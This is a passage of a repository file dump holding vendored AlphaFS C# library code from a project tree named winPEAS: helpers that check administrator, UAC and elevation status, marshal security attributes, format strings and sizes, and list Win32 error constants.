    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing Microsoft.Win32;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Security\n{\n   /// <summary>[AlphaFS] Class to determine the context of the current process.</summary>\n   public static class ProcessContext\n   {\n      #region Properties\n\n      /// <summary>[AlphaFS] Determines if the current process is run in the context of an Administrator.</summary>\n      /// <returns><c>true</c> if the current process is run in the context of an Administrator; otherwise, <c>false</c>.</returns>\n      public static bool IsAdministrator\n      {\n         get\n         {\n            WindowsIdentity windowsIdentity;\n            var principal = GetWindowsPrincipal(out windowsIdentity);\n\n            using (windowsIdentity)\n               return\n\n                  // Local Administrator.\n                  principal.IsInRole(WindowsBuiltInRole.Administrator) ||\n\n                  // Domain Administrator.\n                  principal.IsInRole(512);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Determines if UAC is enabled and that the current process is in an elevated state.\n      /// <para>If the current User is the default Administrator then the process is assumed to be in an elevated state.</para>\n      /// <para>This assumption is made because by default, the default Administrator (disabled by default) gets all access rights without showing an UAC prompt.</para>\n      /// </summary>\n      /// <returns><c>true</c> if UAC is enabled and the current process is in an elevated state; otherwise, <c>false</c>.</returns>\n      public static bool IsElevatedProcess\n      {\n         get\n         {\n            return IsUacEnabled && (GetProcessElevationType() == NativeMethods.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull || IsAdministrator);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Determines if UAC is enabled by reading the \"EnableLUA\" registry key of the local Computer.</summary>\n      /// <returns><c>true</c> if the UAC status was successfully read from registry; otherwise, <c>false</c>.</returns>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Uac\")]\n      public static bool IsUacEnabled\n      {\n         get\n         {\n            using (var uacKey = Registry.LocalMachine.OpenSubKey(@\"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\", false))\n\n               return null != uacKey && uacKey.GetValue(\"EnableLUA\").Equals(1);\n         }\n      }\n\n\n      /// <summary>[AlphaFS] Determines if the current process is run in the context of a Windows Service.</summary>\n      /// <returns><c>true</c> if the current process is run in the context of a Windows Service; otherwise, <c>false</c>.</returns>\n      public static bool IsWindowsService\n      {\n         get\n         {\n            WindowsIdentity windowsIdentity;\n            var principal = GetWindowsPrincipal(out windowsIdentity);\n\n            using (windowsIdentity)\n               return principal.IsInRole(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null)) ||\n                      principal.IsInRole(new SecurityIdentifier(WellKnownSidType.ServiceSid, null));\n         }\n      }\n\n      #endregion // Properties\n\n\n      private static WindowsPrincipal GetWindowsPrincipal(out WindowsIdentity windowsIdentity)\n      {\n         windowsIdentity = WindowsIdentity.GetCurrent();\n\n         if (null == windowsIdentity)\n            throw new InvalidOperationException(Resources.GetCurrentWindowsIdentityFailed);\n\n         return new WindowsPrincipal(windowsIdentity);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the elevation type of the current process.</summary>\n      /// <returns>A <see cref=\"NativeMethods.TOKEN_ELEVATION_TYPE\"/> value.</returns>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA2204:Literals should be spelled correctly\", MessageId = \"GetTokenInformation\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA2204:Literals should be spelled correctly\", MessageId = \"OpenProcessToken\")]\n      private static NativeMethods.TOKEN_ELEVATION_TYPE GetProcessElevationType()\n      {\n         SafeTokenHandle tokenHandle;\n\n         var success = NativeMethods.OpenProcessToken(Process.GetCurrentProcess().Handle, NativeMethods.TOKEN.TOKEN_READ, out tokenHandle);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            throw new Win32Exception(lastError, string.Format(CultureInfo.CurrentCulture, \"{0}: OpenProcessToken failed with error: {1}\", MethodBase.GetCurrentMethod().Name, lastError.ToString(CultureInfo.CurrentCulture)));\n\n\n         using (tokenHandle)\n         using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(Enum.GetUnderlyingType(typeof(NativeMethods.TOKEN_ELEVATION_TYPE)))))\n         {\n            uint bytesReturned;\n            success = NativeMethods.GetTokenInformation(tokenHandle, NativeMethods.TOKEN_INFORMATION_CLASS.TokenElevationType, safeBuffer, (uint) safeBuffer.Capacity, out bytesReturned);\n\n            lastError = Marshal.GetLastWin32Error();\n\n            if (!success)\n               throw new Win32Exception(lastError, string.Format(CultureInfo.CurrentCulture, \"{0}: GetTokenInformation failed with error: {1}\", MethodBase.GetCurrentMethod().Name, lastError.ToString(CultureInfo.CurrentCulture)));\n\n\n            return (NativeMethods.TOKEN_ELEVATION_TYPE) safeBuffer.ReadInt32();\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/SecurityAttributes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Security\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Class used to represent the SECURITY_ATTRIBUTES native Win32 structure.\n      /// The SECURITY_ATTRIBUTES structure contains the security descriptor for an object and specifies whether the handle retrieved by specifying this structure is inheritable.\n      /// This structure provides security settings for objects created by various functions, such as CreateFile, CreatePipe, CreateProcess, RegCreateKeyEx, or RegSaveKeyEx.\n      /// </summary>\n      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n      internal sealed class SecurityAttributes : IDisposable\n      {\n         // Removing the StructLayout attribute results in errors.\n\n\n         [MarshalAs(UnmanagedType.U4)]\n         private int _length;\n\n         private readonly SafeGlobalMemoryBufferHandle _securityDescriptor;\n\n\n         public SecurityAttributes(ObjectSecurity securityDescriptor)\n         {\n            var safeBuffer = ToUnmanagedSecurityAttributes(securityDescriptor);\n\n            _length = safeBuffer.Capacity;\n            _securityDescriptor = safeBuffer;\n         }\n\n\n         public SecurityAttributes(ObjectSecurity securityDescriptor, bool inheritHandle) : this(securityDescriptor)\n         {\n            InheritHandle = inheritHandle;\n         }\n\n\n         public bool InheritHandle { get; set; }\n\n\n         /// <summary>Marshals an ObjectSecurity instance to unmanaged memory.</summary>\n         /// <returns>A safe handle containing the marshalled security descriptor.</returns>\n         /// <param name=\"securityDescriptor\">The security descriptor.</param>\n         [SuppressMessage(\"Microsoft.Performance\", \"CA1822:MarkMembersAsStatic\")]\n         private static SafeGlobalMemoryBufferHandle ToUnmanagedSecurityAttributes(ObjectSecurity securityDescriptor)\n         {\n            if (null == securityDescriptor)\n               return new SafeGlobalMemoryBufferHandle();\n\n\n            var src = securityDescriptor.GetSecurityDescriptorBinaryForm();\n            var safeBuffer = new SafeGlobalMemoryBufferHandle(src.Length);\n\n            try\n            {\n               safeBuffer.CopyFrom(src, 0, src.Length);\n               return safeBuffer;\n            }\n            catch\n            {\n               safeBuffer.Close();\n               throw;\n            }\n         }\n\n\n         public void Dispose()\n         {\n            if (null != _securityDescriptor && !_securityDescriptor.IsClosed)\n               _securityDescriptor.Close();\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Utils.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Text;\n\nnamespace Alphaleonis\n{\n   internal static class Utils\n   {\n      // Source: https://stackoverflow.com/questions/6275980/string-replace-ignoring-case/45756981#45756981\n\n\n      /// <summary>Returns a new string in which all occurrences of a specified string in the current instance are replaced with another specified string, ignoring any casing difference.</summary>\n      internal static string ReplaceIgnoreCase(this string str, string oldValue, string newValue)\n      {\n         if (null == str)\n            throw new ArgumentNullException(\"str\");\n\n         if (str.Trim().Length == 0)\n            return str;\n\n         if (null == oldValue)\n            throw new ArgumentNullException(\"oldValue\");\n\n         if (oldValue.Trim().Length == 0)\n            throw new ArgumentException(\"String cannot be of zero length.\");\n\n\n         // Prepare string builder for storing the processed string.\n         var resultStringBuilder = new StringBuilder(str.Length);\n\n         // Analyze the replacement: replace or remove.\n         var isReplacementNullOrWhiteSpace = IsNullOrWhiteSpace(newValue);\n\n\n         int foundAt;\n         const int valueNotFound = -1;\n         var startSearchFromIndex = 0;\n\n         while ((foundAt = str.IndexOf(oldValue, startSearchFromIndex, StringComparison.OrdinalIgnoreCase)) != valueNotFound)\n         {\n            // Append all characters until the found replacement.\n            var charsUntilReplacment = foundAt - startSearchFromIndex;\n\n            var isNothingToAppend = charsUntilReplacment == 0;\n\n            if (!isNothingToAppend)\n               resultStringBuilder.Append(str, startSearchFromIndex, charsUntilReplacment);\n\n            if (!isReplacementNullOrWhiteSpace)\n               resultStringBuilder.Append(newValue);\n\n\n            // Prepare start index for the next search.\n            // This needed to prevent infinite loop, otherwise method always start search \n            // from the start of the string. For example: if an oldValue == \"EXAMPLE\", newValue == \"example\"\n            // and comparisonType == \"any ignore case\" will conquer to replacing:\n            // \"EXAMPLE\" to \"example\" to \"example\" to \"example\"  infinite loop.\n            startSearchFromIndex = foundAt + oldValue.Length;\n\n            if (startSearchFromIndex == str.Length)\n            {\n               // It is end of the input string: no more space for the next search.\n               // The input string ends with a value that has already been replaced. \n               // Therefore, the string builder with the result is complete and no further action is required.\n               return resultStringBuilder.ToString();\n            }\n         }\n\n\n         // Append the last part to the result.\n         var charsUntilStringEnd = str.Length - startSearchFromIndex;\n\n         resultStringBuilder.Append(str, startSearchFromIndex, charsUntilStringEnd);\n\n\n         return resultStringBuilder.ToString();\n      }\n\n\n      /// <summary>Gets an attribute on an enum field value.</summary>\n      /// <returns>The description belonging to the enum option, as a string</returns>\n      /// <param name=\"enumValue\">One of the <see cref=\"Alphaleonis.Win32.Filesystem.DeviceGuid\"/> enum types.</param>\n      [SuppressMessage(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n      public static string GetEnumDescription(Enum enumValue)\n      {\n         var enumValueString = enumValue.ToString();\n\n         var fi = enumValue.GetType().GetField(enumValueString);\n\n         var attributes = (DescriptionAttribute[]) fi.GetCustomAttributes(typeof(DescriptionAttribute), false);\n\n         return attributes.Length > 0 ? attributes[0].Description : enumValueString;\n      }\n\n\n      /// <summary>Checks that the object is not null.</summary>\n      public static bool IsNotNull<T>(T obj)\n      {\n         return !Equals(null, obj);\n      }\n\n\n      /// <summary>Indicates whether a specified string is null, empty, or consists only of white-space characters.</summary>\n      /// <returns><c>true</c> if the <paramref name=\"value\"/> parameter is null or <see cref=\"string.Empty\"/>, or if <paramref name=\"value\"/> consists exclusively of white-space characters.</returns>\n      /// <param name=\"value\">The string to test.</param>\n      public static bool IsNullOrWhiteSpace(string value)\n      {\n#if NET35\n         if (null != value)\n         {\n            for (int index = 0, l = value.Length; index < l; ++index)\n               if (!char.IsWhiteSpace(value[index]))\n                  return false;\n         }\n\n         return true;\n#else\n         return string.IsNullOrWhiteSpace(value);\n#endif\n      }\n\n\n      /// <summary>Converts a number of type T to string formated using <see cref=\"CultureInfo.InvariantCulture\"/>, suffixed with a unit size.</summary>\n      public static string UnitSizeToText<T>(T numberOfBytes)\n      {\n         // CultureInfo.CurrentCulture uses the culture as set in the Region applet.\n\n         return UnitSizeToText(numberOfBytes, CultureInfo.CurrentCulture);\n      }\n\n\n      /// <summary>Converts a number of type T to string formated using the specified <paramref name=\"cultureInfo\"/>, suffixed with a unit size.</summary>\n      public static string UnitSizeToText<T>(T numberOfBytes, CultureInfo cultureInfo)\n      {\n         var sizeFormats = new[] {\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"};\n         const int kb = 1024;\n         var index = 0;\n\n         var bytes = Convert.ToDouble(numberOfBytes, CultureInfo.InvariantCulture);\n\n         if (bytes < 0)\n            bytes = 0;\n         \n         else\n            while (bytes > kb)\n            {\n               bytes /= kb;\n               index++;\n            }\n\n\n         // Will return \"512 B\" instead of \"512,00 B\".\n\n         return string.Format(cultureInfo, \"{0} {1}\", bytes.ToString(index == 0 ? \"0\" : \"0.##\", cultureInfo), sizeFormats[index]);\n      }\n\n\n      public static int CombineHashCodesOf<T1, T2>(T1 arg1, T2 arg2)\n      {\n         unchecked\n         {\n            var hash = 17;\n\n            hash = hash * 23 + (!Equals(arg1, default(T1)) ? arg1.GetHashCode() : 0);\n            hash = hash * 23 + (!Equals(arg2, default(T2)) ? arg2.GetHashCode() : 0);\n\n            return hash;\n         }\n      }\n\n\n      public static int CombineHashCodesOf<T1, T2, T3>(T1 arg1, T2 arg2, T3 arg3)\n      {\n         unchecked\n         {\n            var hash = CombineHashCodesOf(arg1, arg2);\n\n            hash = hash * 23 + (!Equals(arg3, default(T3)) ? arg3.GetHashCode() : 0);\n\n            return hash;\n         }\n      }\n\n\n      public static int CombineHashCodesOf<T1, T2, T3, T4>(T1 arg1, T2 arg2, T3 arg3, T4 arg4)\n      {\n         return CombineHashCodesOf(CombineHashCodesOf(arg1, arg2), CombineHashCodesOf(arg3, arg4));\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Win32Errors.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32\n{\n   internal static class Win32Errors\n   {\n      /// <summary>Use this to translate error codes into HRESULTs like 0x80070006 for ERROR_INVALID_HANDLE.</summary>\n      public static int GetHrFromWin32Error(uint errorCode)\n      {\n         return (int) unchecked((int) 0x80070000 | errorCode);\n      }\n\n      // System Error Codes.\n      // http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx\n\n      // Win32 Error Codes.\n      // https://infosys.beckhoff.com/content/1033/tcdiagnostics/html/tcdiagnostics_win32_errorcodes.htm\n\n\n      public const uint ERROR_INVALID_FILE_SIZE = 0xFFFFFFFF;\n\n      /// <summary>(0) The operation completed successfully.</summary>\n      public const uint ERROR_SUCCESS = 0;\n\n      /// <summary>(0) The operation completed successfully.</summary>\n      public const uint NO_ERROR = 0;\n\n      /// <summary>(1) Incorrect function.</summary>\n      public const uint ERROR_INVALID_FUNCTION = 1;\n\n      /// <summary>(2) The system cannot find the file specified.</summary>\n      public const uint ERROR_FILE_NOT_FOUND = 2;\n\n      /// <summary>(3) The system cannot find the path specified.</summary>\n      public const uint ERROR_PATH_NOT_FOUND = 3;\n      //public const uint ERROR_TOO_MANY_OPEN_FILES = 4;\n\n      /// <summary>(5) Access is denied.</summary>\n      public const uint ERROR_ACCESS_DENIED = 5;\n\n      //public const uint ERROR_INVALID_HANDLE = 6;\n      //public const uint ERROR_ARENA_TRASHED = 7;\n      //public const uint ERROR_NOT_ENOUGH_MEMORY = 8;   \n      //public const uint ERROR_INVALID_BLOCK = 9;\n      //public const uint ERROR_BAD_ENVIRONMENT = 10;\n      //public const uint ERROR_BAD_FORMAT = 11;\n      //public const uint ERROR_INVALID_ACCESS = 12;\n\n      /// <summary>(13) The data is invalid.</summary>\n      public const uint ERROR_INVALID_DATA = 13;\n\n      //public const uint ERROR_OUTOFMEMORY = 14;\n\n      /// <summary>(15) The system cannot find the drive specified.</summary>\n      public const uint ERROR_INVALID_DRIVE = 15;\n\n      //public const uint ERROR_CURRENT_DIRECTORY = 16;\n\n      /// <summary>(17) The system cannot move the file to a different disk drive.</summary>\n      public const uint ERROR_NOT_SAME_DEVICE = 17;\n\n      /// <summary>(18) There are no more files.</summary>\n      public const uint ERROR_NO_MORE_FILES = 18;\n      //public const uint ERROR_WRITE_PROTECT = 19;\n      //public const uint ERROR_BAD_UNIT = 20;\n\n      /// <summary>(21) The device is not ready.</summary>\n      public const uint ERROR_NOT_READY = 21;\n\n      //public const uint ERROR_BAD_COMMAND = 22;\n      //public const uint ERROR_CRC = 23;\n      //public const uint ERROR_BAD_LENGTH = 24;\n\n      /// <summary>(25) The drive cannot locate a specific area or track on the disk.</summary>\n      public const uint ERROR_SEEK = 25;\n\n      //public const uint ERROR_NOT_DOS_DISK = 26;\n      //public const uint ERROR_SECTOR_NOT_FOUND = 27;\n      //public const uint ERROR_OUT_OF_PAPER = 28;\n      //public const uint ERROR_WRITE_FAULT = 29;\n      //public const uint ERROR_READ_FAULT = 30;\n      //public const uint ERROR_GEN_FAILURE = 31;\n\n      /// <summary>(32) The process cannot access the file because it is being used by another process.</summary>\n      public const uint ERROR_SHARING_VIOLATION = 32;\n\n      /// <summary>(33) The process cannot access the file because another process has locked a portion of the file.</summary>\n      public const uint ERROR_LOCK_VIOLATION = 33;\n\n      //public const uint ERROR_WRONG_DISK = 34;\n      //public const uint ERROR_SHARING_BUFFER_EXCEEDED = 36;\n\n      /// <summary>(38) Reached the end of the file.</summary>\n      public const uint ERROR_HANDLE_EOF = 38;\n\n      //public const uint ERROR_HANDLE_DISK_FULL = 39;\n      public const uint ERROR_NOT_SUPPORTED = 50;\n      //public const uint ERROR_REM_NOT_LIST = 51;\n      //public const uint ERROR_DUP_NAME = 52;\n\n      /// <summary>(53) The network path was not found.</summary>\n      public const uint ERROR_BAD_NETPATH = 53;\n\n      //public const uint ERROR_NETWORK_BUSY = 54;\n      //public const uint ERROR_DEV_NOT_EXIST = 55;   \n      //public const uint ERROR_TOO_MANY_CMDS = 56;\n      //public const uint ERROR_ADAP_HDW_ERR = 57;\n      //public const uint ERROR_BAD_NET_RESP = 58;\n      //public const uint ERROR_UNEXP_NET_ERR = 59;\n      //public const uint ERROR_BAD_REM_ADAP = 60;\n      //public const uint ERROR_PRINTQ_FULL = 61;\n      //public const uint ERROR_NO_SPOOL_SPACE = 62;\n      //public const uint ERROR_PRINT_CANCELLED = 63;\n      //public const uint ERROR_NETNAME_DELETED = 64;\n\n      /// <summary>(65) Network access is denied.</summary>\n      public const uint ERROR_NETWORK_ACCESS_DENIED = 65;\n\n      //public const uint ERROR_BAD_DEV_TYPE = 66;\n\n      /// <summary>(67) The network name cannot be found.</summary>\n      public const uint ERROR_BAD_NET_NAME = 67;\n\n      //public const uint ERROR_TOO_MANY_NAMES = 68;\n      //public const uint ERROR_TOO_MANY_SESS = 69;\n      //public const uint ERROR_SHARING_PAUSED = 70;\n      //public const uint ERROR_REQ_NOT_ACCEP = 71;\n      //public const uint ERROR_REDIR_PAUSED = 72;\n\n      /// <summary>(80) The file exists.</summary>\n      public const uint ERROR_FILE_EXISTS = 80;\n\n      //public const uint ERROR_CANNOT_MAKE = 82;\n      //public const uint ERROR_FAIL_I24 = 83;\n      //public const uint ERROR_OUT_OF_STRUCTURES = 84;\n      //public const uint ERROR_ALREADY_ASSIGNED = 85;\n      //public const uint ERROR_INVALID_PASSWORD = 86;\n\n      /// <summary>(87) The parameter is incorrect.</summary>\n      public const uint ERROR_INVALID_PARAMETER = 87;\n\n      //public const uint ERROR_NET_WRITE_FAULT = 88;\n      //public const uint ERROR_NO_PROC_SLOTS = 89;\n      //public const uint ERROR_TOO_MANY_SEMAPHORES = 100;\n      //public const uint ERROR_EXCL_SEM_ALREADY_OWNED = 101;\n      //public const uint ERROR_SEM_IS_SET = 102;\n      //public const uint ERROR_TOO_MANY_SEM_REQUESTS = 103;\n      //public const uint ERROR_INVALID_AT_INTERRUPT_TIME = 104;\n      //public const uint ERROR_SEM_OWNER_DIED = 105;\n      //public const uint ERROR_SEM_USER_LIMIT = 106;\n      //public const uint ERROR_DISK_CHANGE = 107;\n      //public const uint ERROR_DRIVE_LOCKED = 108;\n      //public const uint ERROR_BROKEN_PIPE = 109;\n      //public const uint ERROR_OPEN_FAILED = 110;\n      //public const uint ERROR_BUFFER_OVERFLOW = 111;\n      //public const uint ERROR_DISK_FULL = 112;\n      //public const uint ERROR_NO_MORE_SEARCH_HANDLES = 113;\n      //public const uint ERROR_INVALID_TARGET_HANDLE = 114;\n      //public const uint ERROR_INVALID_CATEGORY = 117;\n      //public const uint ERROR_INVALID_VERIFY_SWITCH = 118;\n      //public const uint ERROR_BAD_DRIVER_LEVEL = 119;\n      //public const uint ERROR_CALL_NOT_IMPLEMENTED = 120;\n      //public const uint ERROR_SEM_TIMEOUT = 121;\n\n      /// <summary>(122) The data area passed to a system call is too small.</summary>\n      public const uint ERROR_INSUFFICIENT_BUFFER = 122;\n\n      /// <summary>(123) The filename, directory name, or volume label syntax is incorrect.</summary>\n      public const uint ERROR_INVALID_NAME = 123;\n\n      //public const uint ERROR_INVALID_LEVEL = 124;\n      //public const uint ERROR_NO_VOLUME_LABEL = 125;\n      //public const uint ERROR_INVALID_FILE_ATTRIBUTES = 0xFFFFFFFF;\n      //public const uint ERROR_MOD_NOT_FOUND = 126;\n      //public const uint ERROR_PROC_NOT_FOUND = 127;\n      //public const uint ERROR_WAIT_NO_CHILDREN = 128;\n      //public const uint ERROR_CHILD_NOT_COMPLETE = 129;\n      //public const uint ERROR_DIRECT_ACCESS_HANDLE = 130;\n\n      /// <summary>(131) An attempt was made to move the file pointer before the beginning of the file.</summary>\n      public const uint ERROR_NEGATIVE_SEEK = 131;\n\n      //public const uint ERROR_SEEK_ON_DEVICE = 132;\n      //public const uint ERROR_IS_JOIN_TARGET = 133;\n      //public const uint ERROR_IS_JOINED = 134;\n      //public const uint ERROR_IS_SUBSTED = 135;\n      //public const uint ERROR_NOT_JOINED = 136;\n      //public const uint ERROR_NOT_SUBSTED = 137;\n      //public const uint ERROR_JOIN_TO_JOIN = 138;\n      //public const uint ERROR_SUBST_TO_SUBST = 139;\n      //public const uint ERROR_JOIN_TO_SUBST = 140;\n      //public const uint ERROR_SUBST_TO_JOIN = 141;\n      //public const uint ERROR_BUSY_DRIVE = 142;\n\n      /// <summary>(143) The system cannot join or substitute a drive to or for a directory on the same drive.</summary>\n      public const uint ERROR_SAME_DRIVE = 143;\n\n      //public const uint ERROR_DIR_NOT_ROOT = 144;\n\n      /// <summary>(145) The directory is not empty.</summary>\n      public const uint ERROR_DIR_NOT_EMPTY = 145;\n\n      //public const uint ERROR_IS_SUBST_PATH = 146;\n      //public const uint ERROR_IS_JOIN_PATH = 147;\n      //public const uint ERROR_PATH_BUSY = 148;\n      //public const uint ERROR_IS_SUBST_TARGET = 149;\n      //public const uint ERROR_SYSTEM_TRACE = 150;\n      //public const uint ERROR_INVALID_EVENT_COUNT = 151;\n      //public const uint ERROR_TOO_MANY_MUXWAITERS = 152;\n      //public const uint ERROR_INVALID_LIST_FORMAT = 153;\n      //public const uint ERROR_LABEL_TOO_LONG = 154;\n      //public const uint ERROR_TOO_MANY_TCBS = 155;\n      //public const uint ERROR_SIGNAL_REFUSED = 156;\n      //public const uint ERROR_DISCARDED = 157;\n\n      //// <summary>(158) The segment is already unlocked.</summary>\n      //public const uint ERROR_NOT_LOCKED = 158;\n\n      //public const uint ERROR_BAD_THREADID_ADDR = 159;\n      //public const uint ERROR_BAD_ARGUMENTS = 160;\n      //public const uint ERROR_BAD_PATHNAME = 161;\n      //public const uint ERROR_SIGNAL_PENDING = 162;\n      //public const uint ERROR_MAX_THRDS_REACHED = 164;\n      //public const uint ERROR_LOCK_FAILED = 167;\n      //public const uint ERROR_BUSY = 170;   \n      //public const uint ERROR_CANCEL_VIOLATION = 173;\n      //public const uint ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174;\n      //public const uint ERROR_INVALID_SEGMENT_NUMBER = 180;\n      //public const uint ERROR_INVALID_ORDINAL = 182;\n\n      /// <summary>(183) Cannot create a file when that file already exists.</summary>\n      public const uint ERROR_ALREADY_EXISTS = 183;\n\n      //public const uint ERROR_INVALID_FLAG_NUMBER = 186;\n      //public const uint ERROR_SEM_NOT_FOUND = 187;\n      //public const uint ERROR_INVALID_STARTING_CODESEG = 188;\n      //public const uint ERROR_INVALID_STACKSEG = 189;\n      //public const uint ERROR_INVALID_MODULETYPE = 190;\n      //public const uint ERROR_INVALID_EXE_SIGNATURE = 191;\n      //public const uint ERROR_EXE_MARKED_INVALID = 192;\n      //public const uint ERROR_BAD_EXE_FORMAT = 193;\n      //public const uint ERROR_ITERATED_DATA_EXCEEDS_64k = 194;\n      //public const uint ERROR_INVALID_MINALLOCSIZE = 195;\n      //public const uint ERROR_DYNLINK_FROM_INVALID_RING = 196;\n      //public const uint ERROR_IOPL_NOT_ENABLED = 197;\n      //public const uint ERROR_INVALID_SEGDPL = 198;\n      //public const uint ERROR_AUTODATASEG_EXCEEDS_64k = 199;\n      //public const uint ERROR_RING2SEG_MUST_BE_MOVABLE = 200;\n      //public const uint ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201;\n      //public const uint ERROR_INFLOOP_IN_RELOC_CHAIN = 202;\n\n      //// <summary>(203) The system could not find the environment option that was entered.</summary>\n      //public const uint ERROR_ENVVAR_NOT_FOUND = 203;\n\n      //public const uint ERROR_NO_SIGNAL_SENT = 205;\n      //public const uint ERROR_FILENAME_EXCED_RANGE = 206;\n      //public const uint ERROR_RING2_STACK_IN_USE = 207;\n      //public const uint 